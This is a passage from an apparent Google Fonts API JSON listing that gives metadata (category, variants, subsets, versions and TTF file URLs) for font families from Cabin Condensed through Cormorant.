"http://fonts.gstatic.com/s/cabin/v14/u-460qWljRw-Pd81x0RnuyxEfw5IR-Y.ttf" } }, { "kind": "webfonts#webfont", "family": "Cabin Condensed", "category": "sans-serif", "variants": [ "regular", "500", "600", "700" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v13", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/cabincondensed/v13/nwpMtK6mNhBK2err_hqkYhHRqmwaYOjZ5HZl8Q.ttf", "500": "http://fonts.gstatic.com/s/cabincondensed/v13/nwpJtK6mNhBK2err_hqkYhHRqmwilMH97F15-K1oqQ.ttf", "600": "http://fonts.gstatic.com/s/cabincondensed/v13/nwpJtK6mNhBK2err_hqkYhHRqmwiuMb97F15-K1oqQ.ttf", "700": "http://fonts.gstatic.com/s/cabincondensed/v13/nwpJtK6mNhBK2err_hqkYhHRqmwi3Mf97F15-K1oqQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Cabin Sketch", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cabinsketch/v13/QGYpz_kZZAGCONcK2A4bGOjMn9JM6fnuKg.ttf", "700": "http://fonts.gstatic.com/s/cabinsketch/v13/QGY2z_kZZAGCONcK2A4bGOj0I_1o4dLyI4CMFw.ttf" } }, { "kind": "webfonts#webfont", "family": "Caesar Dressing", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/caesardressing/v8/yYLx0hLa3vawqtwdswbotmK4vrR3cbb6LZttyg.ttf" } }, { "kind": "webfonts#webfont", "family": "Cagliostro", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cagliostro/v8/ZgNWjP5HM73BV5amnX-TjGXEM4COoE4.ttf" } }, { "kind": "webfonts#webfont", "family": "Cairo", "category": "sans-serif", "variants": [ "200", "300", "regular", "600", "700", "900" ], "subsets": [ "arabic", "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-17", "files": { "200": "http://fonts.gstatic.com/s/cairo/v6/SLXLc1nY6Hkvalrub76M7dd8aGZk.ttf", "300": "http://fonts.gstatic.com/s/cairo/v6/SLXLc1nY6HkvalqKbL6M7dd8aGZk.ttf", "regular": "http://fonts.gstatic.com/s/cairo/v6/SLXGc1nY6HkvamImRJqExst1.ttf", "600": "http://fonts.gstatic.com/s/cairo/v6/SLXLc1nY6Hkvalr-ar6M7dd8aGZk.ttf", "700": "http://fonts.gstatic.com/s/cairo/v6/SLXLc1nY6Hkvalqaa76M7dd8aGZk.ttf", "900": "http://fonts.gstatic.com/s/cairo/v6/SLXLc1nY6Hkvalqiab6M7dd8aGZk.ttf" } }, { "kind": "webfonts#webfont", "family": "Caladea", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/caladea/v1/kJEzBugZ7AAjhybUjR93-9IztOc.ttf", "italic": "http://fonts.gstatic.com/s/caladea/v1/kJExBugZ7AAjhybUvR19__A2pOdvDA.ttf", "700": "http://fonts.gstatic.com/s/caladea/v1/kJE2BugZ7AAjhybUtaNY39oYqO52FZ0.ttf", "700italic": "http://fonts.gstatic.com/s/caladea/v1/kJE0BugZ7AAjhybUvR1FQ98SrMxzBZ2lDA.ttf" } }, { "kind": "webfonts#webfont", "family": "Calistoga", "category": "display", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/calistoga/v1/6NUU8F2OJg6MeR7l4e0vtMYAwdRZfw.ttf" } }, { "kind": "webfonts#webfont", "family": "Calligraffitti", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/calligraffitti/v11/46k2lbT3XjDVqJw3DCmCFjE0vnFZM5ZBpYN-.ttf" } }, { "kind": "webfonts#webfont", "family": "Cambay", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cambay/v6/SLXJc1rY6H0_ZDsGbrSIz9JsaA.ttf", "italic": "http://fonts.gstatic.com/s/cambay/v6/SLXLc1rY6H0_ZDs2bL6M7dd8aGZk.ttf", "700": "http://fonts.gstatic.com/s/cambay/v6/SLXKc1rY6H0_ZDs-0pusx_lwYX99kA.ttf", "700italic": "http://fonts.gstatic.com/s/cambay/v6/SLXMc1rY6H0_ZDs2bIYwwvN0Q3ptkDMN.ttf" } }, { "kind": "webfonts#webfont", "family": "Cambo", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cambo/v8/IFSqHeNEk8FJk416ok7xkPm8.ttf" } }, { "kind": "webfonts#webfont", "family": "Candal", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/candal/v9/XoHn2YH6T7-t_8cNAR4Jt9Yxlw.ttf" } }, { "kind": "webfonts#webfont", "family": "Cantarell", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/cantarell/v9/B50NF7ZDq37KMUvlO01Ji6hqHK-CLA.ttf", "italic": "http://fonts.gstatic.com/s/cantarell/v9/B50LF7ZDq37KMUvlO015iaJuPqqSLJYf.ttf", "700": "http://fonts.gstatic.com/s/cantarell/v9/B50IF7ZDq37KMUvlO01xN4dOFISeJY8GgQ.ttf", "700italic": "http://fonts.gstatic.com/s/cantarell/v9/B50WF7ZDq37KMUvlO015iZrSEY6aB4oWgWHB.ttf" } }, { "kind": "webfonts#webfont", "family": "Cantata One", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cantataone/v9/PlI5Fl60Nb5obNzNe2jslVxEt8CwfGaD.ttf" } }, { "kind": "webfonts#webfont", "family": "Cantora One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cantoraone/v9/gyB4hws1JdgnKy56GB_JX6zdZ4vZVbgZ.ttf" } }, { "kind": "webfonts#webfont", "family": "Capriola", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/capriola/v7/wXKoE3YSppcvo1PDln_8L-AinG8y.ttf" } }, { "kind": "webfonts#webfont", "family": "Cardo", "category": "serif", "variants": [ "regular", "italic", "700" ], "subsets": [ "greek-ext", "greek", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/cardo/v11/wlp_gwjKBV1pqiv_1oAZ2H5O.ttf", "italic": "http://fonts.gstatic.com/s/cardo/v11/wlpxgwjKBV1pqhv93IQ73W5OcCk.ttf", "700": "http://fonts.gstatic.com/s/cardo/v11/wlpygwjKBV1pqhND-aQR82JHaTBX.ttf" } }, { "kind": "webfonts#webfont", "family": "Carme", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/carme/v10/ptRHTiWdbvZIDOjGxLNrxfbZ.ttf" } }, { "kind": "webfonts#webfont", "family": "Carrois Gothic", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/carroisgothic/v10/Z9XPDmFATg-N1PLtLOOxvIHl9ZmD3i7ajcJ-.ttf" } }, { "kind": "webfonts#webfont", "family": "Carrois Gothic SC", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/carroisgothicsc/v9/ZgNJjOVHM6jfUZCmyUqT2A2HVKjc-28nNHabY4dN.ttf" } }, { "kind": "webfonts#webfont", "family": "Carter One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/carterone/v11/q5uCsoe5IOB2-pXv9UcNIxR2hYxREMs.ttf" } }, { "kind": "webfonts#webfont", "family": "Catamaran", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin-ext", "tamil", "latin" ], "version": "v6", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/catamaran/v6/o-0OIpQoyXQa2RxT7-5jhjRFSfiM7HBj.ttf", "200": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jKhVlY9aA5Wl6PQ.ttf", "300": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jThZlY9aA5Wl6PQ.ttf", "regular": "http://fonts.gstatic.com/s/catamaran/v6/o-0IIpQoyXQa2RxT7-5b4j5Ba_2c7A.ttf", "500": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jFhdlY9aA5Wl6PQ.ttf", "600": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jOhBlY9aA5Wl6PQ.ttf", "700": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jXhFlY9aA5Wl6PQ.ttf", "800": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jQhJlY9aA5Wl6PQ.ttf", "900": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jZhNlY9aA5Wl6PQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Caudex", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "greek-ext", "greek", "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/caudex/v9/esDQ311QOP6BJUrIyviAnb4eEw.ttf", "italic": "http://fonts.gstatic.com/s/caudex/v9/esDS311QOP6BJUr4yPKEv7sOE4in.ttf", "700": "http://fonts.gstatic.com/s/caudex/v9/esDT311QOP6BJUrwdteklZUCGpG-GQ.ttf", "700italic": "http://fonts.gstatic.com/s/caudex/v9/esDV311QOP6BJUr4yMo4kJ8GOJSuGdLB.ttf" } }, { "kind": "webfonts#webfont", "family": "Caveat", "category": "handwriting", "variants": [ "regular", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/caveat/v7/Wnz6HAc5bAfYB2QLYTwZqg_MPQ.ttf", "700": "http://fonts.gstatic.com/s/caveat/v7/Wnz5HAc5bAfYB2Qz3RM9oiTQNAuxjA.ttf" } }, { "kind": "webfonts#webfont", "family": "Caveat Brush", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/caveatbrush/v5/EYq0maZfwr9S9-ETZc3fKXtMW7mT03pdQw.ttf" } }, { "kind": "webfonts#webfont", "family": "Cedarville Cursive", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cedarvillecursive/v11/yYL00g_a2veiudhUmxjo5VKkoqA-B_neJbBxw8BeTg.ttf" } }, { "kind": "webfonts#webfont", "family": "Ceviche One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cevicheone/v10/gyB4hws1IcA6JzR-GB_JX6zdZ4vZVbgZ.ttf" } }, { "kind": "webfonts#webfont", "family": "Chakra Petch", "category": "sans-serif", "variants": [ "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-11-05", "files": { "300": "http://fonts.gstatic.com/s/chakrapetch/v3/cIflMapbsEk7TDLdtEz1BwkeNIhFQJXE3AY00g.ttf", "300italic": "http://fonts.gstatic.com/s/chakrapetch/v3/cIfnMapbsEk7TDLdtEz1BwkWmpLJQp_A_gMk0izH.ttf", "regular": "http://fonts.gstatic.com/s/chakrapetch/v3/cIf6MapbsEk7TDLdtEz1BwkmmKBhSL7Y1Q.ttf", "italic": "http://fonts.gstatic.com/s/chakrapetch/v3/cIfkMapbsEk7TDLdtEz1BwkWmqplarvI1R8t.ttf", "500": "http://fonts.gstatic.com/s/chakrapetch/v3/cIflMapbsEk7TDLdtEz1BwkebIlFQJXE3AY00g.ttf", "500italic": "http://fonts.gstatic.com/s/chakrapetch/v3/cIfnMapbsEk7TDLdtEz1BwkWmpKRQ5_A_gMk0izH.ttf", "600": "http://fonts.gstatic.com/s/chakrapetch/v3/cIflMapbsEk7TDLdtEz1BwkeQI5FQJXE3AY00g.ttf", "600italic": "http://fonts.gstatic.com/s/chakrapetch/v3/cIfnMapbsEk7TDLdtEz1BwkWmpK9RJ_A_gMk0izH.ttf", "700": "http://fonts.gstatic.com/s/chakrapetch/v3/cIflMapbsEk7TDLdtEz1BwkeJI9FQJXE3AY00g.ttf", "700italic": "http://fonts.gstatic.com/s/chakrapetch/v3/cIfnMapbsEk7TDLdtEz1BwkWmpLZRZ_A_gMk0izH.ttf" } }, { "kind": "webfonts#webfont", "family": "Changa", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700", "800" ], "subsets": [ "arabic", "latin-ext", "latin" ], "version": "v9", "lastModified": "2020-02-05", "files": { "200": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZy2xQjDp9htf1ZM.ttf", "300": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZ_OxQjDp9htf1ZM.ttf", "regular": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZ62xQjDp9htf1ZM.ttf", "500": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZ5-xQjDp9htf1ZM.ttf", "600": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZ3O2QjDp9htf1ZM.ttf", "700": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZ0q2QjDp9htf1ZM.ttf", "800": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZy22QjDp9htf1ZM.ttf" } }, { "kind": "webfonts#webfont", "family": "Changa One", "category": "display", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/changaone/v12/xfu00W3wXn3QLUJXhzq46AbouLfbK64.ttf", "italic": "http://fonts.gstatic.com/s/changaone/v12/xfu20W3wXn3QLUJXhzq42ATivJXeO67ISw.ttf" } }, { "kind": "webfonts#webfont", "family": "Chango", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/chango/v8/2V0cKI0OB5U7WaJyz324TFUaAw.ttf" } }, { "kind": "webfonts#webfont", "family": "Charm", "category": "handwriting", "variants": [ "regular", "700" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/charm/v4/7cHmv4oii5K0MeYvIe804WIo.ttf", "700": "http://fonts.gstatic.com/s/charm/v4/7cHrv4oii5K0Md6TDss8yn4hnCci.ttf" } }, { "kind": "webfonts#webfont", "family": "Charmonman", "category": "handwriting", "variants": [ "regular", "700" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/charmonman/v3/MjQDmiR3vP_nuxDv47jiWJGovLdh6OE.ttf", "700": "http://fonts.gstatic.com/s/charmonman/v3/MjQAmiR3vP_nuxDv47jiYC2HmL9K9OhmGnY.ttf" } }, { "kind": "webfonts#webfont", "family": "Chathura", "category": "sans-serif", "variants": [ "100", "300", "regular", "700", "800" ], "subsets": [ "telugu", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/chathura/v5/_gP91R7-rzUuVjim42dEq0SbTvZyuDo.ttf", "300": "http://fonts.gstatic.com/s/chathura/v5/_gP81R7-rzUuVjim42eMiWSxYPp7oSNy.ttf", "regular": "http://fonts.gstatic.com/s/chathura/v5/_gP71R7-rzUuVjim418goUC5S-Zy.ttf", "700": "http://fonts.gstatic.com/s/chathura/v5/_gP81R7-rzUuVjim42ecjmSxYPp7oSNy.ttf", "800": "http://fonts.gstatic.com/s/chathura/v5/_gP81R7-rzUuVjim42eAjWSxYPp7oSNy.ttf" } }, { "kind": "webfonts#webfont", "family": "Chau Philomene One", "category": "sans-serif", "variants": [ "regular", "italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/chauphilomeneone/v9/55xxezRsPtfie1vPY49qzdgSlJiHRQFsnIx7QMISdQ.ttf", "italic": "http://fonts.gstatic.com/s/chauphilomeneone/v9/55xzezRsPtfie1vPY49qzdgSlJiHRQFcnoZ_YscCdXQB.ttf" } }, { "kind": "webfonts#webfont", "family": "Chela One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/chelaone/v8/6ae-4KC7Uqgdz_JZdPIy31vWNTMwoQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Chelsea Market", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/chelseamarket/v7/BCawqZsHqfr89WNP_IApC8tzKBhlLA4uKkWk.ttf" } }, { "kind": "webfonts#webfont", "family": "Chenla", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/chenla/v12/SZc43FDpIKu8WZ9eXxfonUPL6Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Cherry Cream Soda", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cherrycreamsoda/v10/UMBIrOxBrW6w2FFyi9paG0fdVdRciTd6Cd47DJ7G.ttf" } }, { "kind": "webfonts#webfont", "family": "Cherry Swash", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cherryswash/v8/i7dNIFByZjaNAMxtZcnfAy58QHi-EwWMbg.ttf", "700": "http://fonts.gstatic.com/s/cherryswash/v8/i7dSIFByZjaNAMxtZcnfAy5E_FeaGy6QZ3WfYg.ttf" } }, { "kind": "webfonts#webfont", "family": "Chewy", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/chewy/v11/uK_94ruUb-k-wk5xIDMfO-ed.ttf" } }, { "kind": "webfonts#webfont", "family": "Chicle", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/chicle/v8/lJwG-pw9i2dqU-BDyWKuobYSxw.ttf" } }, { "kind": "webfonts#webfont", "family": "Chilanka", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "malayalam", "latin" ], "version": "v5", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/chilanka/v5/WWXRlj2DZQiMJYaYRrJQI9EAZhTO.ttf" } }, { "kind": "webfonts#webfont", "family": "Chivo", "category": "sans-serif", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic", "900", "900italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/chivo/v11/va9F4kzIxd1KFrjDY8Z_uqzGQC_-.ttf", "300italic": "http://fonts.gstatic.com/s/chivo/v11/va9D4kzIxd1KFrBteUp9sKjkRT_-bF0.ttf", "regular": "http://fonts.gstatic.com/s/chivo/v11/va9I4kzIxd1KFoBvS-J3kbDP.ttf", "italic": "http://fonts.gstatic.com/s/chivo/v11/va9G4kzIxd1KFrBtQeZVlKDPWTY.ttf", "700": "http://fonts.gstatic.com/s/chivo/v11/va9F4kzIxd1KFrjTZMZ_uqzGQC_-.ttf", "700italic": "http://fonts.gstatic.com/s/chivo/v11/va9D4kzIxd1KFrBteVp6sKjkRT_-bF0.ttf", "900": "http://fonts.gstatic.com/s/chivo/v11/va9F4kzIxd1KFrjrZsZ_uqzGQC_-.ttf", "900italic": "http://fonts.gstatic.com/s/chivo/v11/va9D4kzIxd1KFrBteWJ4sKjkRT_-bF0.ttf" } }, { "kind": "webfonts#webfont", "family": "Chonburi", "category": "display", "variants": [ "regular" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/chonburi/v4/8AtqGs-wOpGRTBq66IWaFr3biAfZ.ttf" } }, { "kind": "webfonts#webfont", "family": "Cinzel", "category": "serif", "variants": [ "regular", "700", "900" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/cinzel/v9/8vIJ7ww63mVu7gtL8W76HEdHMg.ttf", "700": "http://fonts.gstatic.com/s/cinzel/v9/8vIK7ww63mVu7gtzTUHeFGxbO_zo-w.ttf", "900": "http://fonts.gstatic.com/s/cinzel/v9/8vIK7ww63mVu7gtzdUPeFGxbO_zo-w.ttf" } }, { "kind": "webfonts#webfont", "family": "Cinzel Decorative", "category": "display", "variants": [ "regular", "700", "900" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cinzeldecorative/v8/daaCSScvJGqLYhG8nNt8KPPswUAPnh7URs1LaCyC.ttf", "700": "http://fonts.gstatic.com/s/cinzeldecorative/v8/daaHSScvJGqLYhG8nNt8KPPswUAPniZoaelDQzCLlQXE.ttf", "900": "http://fonts.gstatic.com/s/cinzeldecorative/v8/daaHSScvJGqLYhG8nNt8KPPswUAPniZQa-lDQzCLlQXE.ttf" } }, { "kind": "webfonts#webfont", "family": "Clicker Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/clickerscript/v7/raxkHiKPvt8CMH6ZWP8PdlEq72rY2zqUKafv.ttf" } }, { "kind": "webfonts#webfont", "family": "Coda", "category": "display", "variants": [ "regular", "800" ], "subsets": [ "latin-ext", "latin" ], "version": "v15", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/coda/v15/SLXHc1jY5nQ8JUIMapaN39I.ttf", "800": "http://fonts.gstatic.com/s/coda/v15/SLXIc1jY5nQ8HeIgTp6mw9t1cX8.ttf" } }, { "kind": "webfonts#webfont", "family": "Coda Caption", "category": "sans-serif", "variants": [ "800" ], "subsets": [ "latin-ext", "latin" ], "version": "v13", "lastModified": "2019-07-16", "files": { "800": "http://fonts.gstatic.com/s/codacaption/v13/ieVm2YRII2GMY7SyXSoDRiQGqcx6x_-fACIgaw.ttf" } }, { "kind": "webfonts#webfont", "family": "Codystar", "category": "display", "variants": [ "300", "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/codystar/v7/FwZf7-Q1xVk-40qxOuYsyuyrj0e29bfC.ttf", "regular": "http://fonts.gstatic.com/s/codystar/v7/FwZY7-Q1xVk-40qxOt6A4sijpFu_.ttf" } }, { "kind": "webfonts#webfont", "family": "Coiny", "category": "display", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "tamil", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/coiny/v5/gyByhwU1K989PXwbElSvO5Tc.ttf" } }, { "kind": "webfonts#webfont", "family": "Combo", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/combo/v8/BXRlvF3Jh_fIhg0iBu9y8Hf0.ttf" } }, { "kind": "webfonts#webfont", "family": "Comfortaa", "category": "display", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek", "latin-ext", "latin" ], "version": "v28", "lastModified": "2020-02-05", "files": { "300": "http://fonts.gstatic.com/s/comfortaa/v28/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4TbMPrQVIT9c2c8.ttf", "regular": "http://fonts.gstatic.com/s/comfortaa/v28/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4WjMPrQVIT9c2c8.ttf", "500": "http://fonts.gstatic.com/s/comfortaa/v28/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4VrMPrQVIT9c2c8.ttf", "600": "http://fonts.gstatic.com/s/comfortaa/v28/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4bbLPrQVIT9c2c8.ttf", "700": "http://fonts.gstatic.com/s/comfortaa/v28/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4Y_LPrQVIT9c2c8.ttf" } }, { "kind": "webfonts#webfont", "family": "Coming Soon", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-26", "files": { "regular": "http://fonts.gstatic.com/s/comingsoon/v11/qWcuB6mzpYL7AJ2VfdQR1u-SUjjzsykh.ttf" } }, { "kind": "webfonts#webfont", "family": "Concert One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/concertone/v10/VEM1Ro9xs5PjtzCu-srDqRTlhv-CuVAQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Condiment", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/condiment/v7/pONk1hggFNmwvXALyH6Sq4n4o1vyCQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Content", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "khmer" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/content/v12/zrfl0HLayePhU_AwUaDyIiL0RCg.ttf", "700": "http://fonts.gstatic.com/s/content/v12/zrfg0HLayePhU_AwaRzdBirfWCHvkAI.ttf" } }, { "kind": "webfonts#webfont", "family": "Contrail One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/contrailone/v9/eLGbP-j_JA-kG0_Zo51noafdZUvt_c092w.ttf" } }, { "kind": "webfonts#webfont", "family": "Convergence", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/convergence/v8/rax5HiePvdgXPmmMHcIPYRhasU7Q8Cad.ttf" } }, { "kind": "webfonts#webfont", "family": "Cookie", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/cookie/v11/syky-y18lb0tSbfNlQCT9tPdpw.ttf" } }, { "kind": "webfonts#webfont", "family": "Copse", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/copse/v9/11hPGpDKz1rGb0djHkihUb-A.ttf" } }, { "kind": "webfonts#webfont", "family": "Corben", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/corben/v13/LYjDdGzzklQtCMp9oAlEpVs3VQ.ttf", "700": "http://fonts.gstatic.com/s/corben/v13/LYjAdGzzklQtCMpFHCZgrXArXN7HWQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Cormorant", "category": "serif", "variants": [ "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], 